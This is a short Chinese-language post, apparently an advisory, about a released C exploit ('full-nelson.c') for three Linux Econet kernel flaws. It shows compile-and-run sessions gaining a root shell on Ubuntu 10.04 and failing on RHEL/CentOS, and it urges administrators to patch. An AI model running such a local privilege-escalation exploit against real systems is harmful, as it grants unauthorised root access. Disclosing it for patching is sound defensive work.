系統(tǒng)安全高手 Dan Rosenberg 發(fā)布了一段C程序, 這段200多行的程序利用了 Linux Econet 協(xié)議的3個安全漏洞,可以導致本地帳號對系統(tǒng)進行拒絕服務或特權提升,也就是說一個普通用戶可以通過運行這段程序后輕松獲得 root shell,以下在 update 過的 Ubuntu 10.04 Server LTS 上測試通過:
$ sudo apt-get update
$ sudo apt-get upgrade
$ uname -r
2.6.32-21-server
$ gcc full-nelson.c -o full-nelson
$ ./full-nelson
[*] Resolving kernel addresses...
[+] Resolved econet_ioctl to 0xffffffffa0131510
[+] Resolved econet_ops to 0xffffffffa0131600
[+] Resolved commit_creds to 0xffffffff8108b820
[+] Resolved prepare_kernel_cred to 0xffffffff8108bc00
[*] Calculating target...
[*] Failed to set Econet address.
[*] Triggering payload...
[*] Got root!
#
由于 RHEL/CentOS 默認不支持 Econet 協(xié)議,所以測試沒有通過:
# yum update
$ uname -r
2.6.18-194.26.1.el5
$ gcc full-nelson.c -o full-nelson
$ ./full-nelson
[*] Failed to open file descriptors.
其它Linux版本暫時未進行,請Linux服務器系統(tǒng)管理員及時進行修復。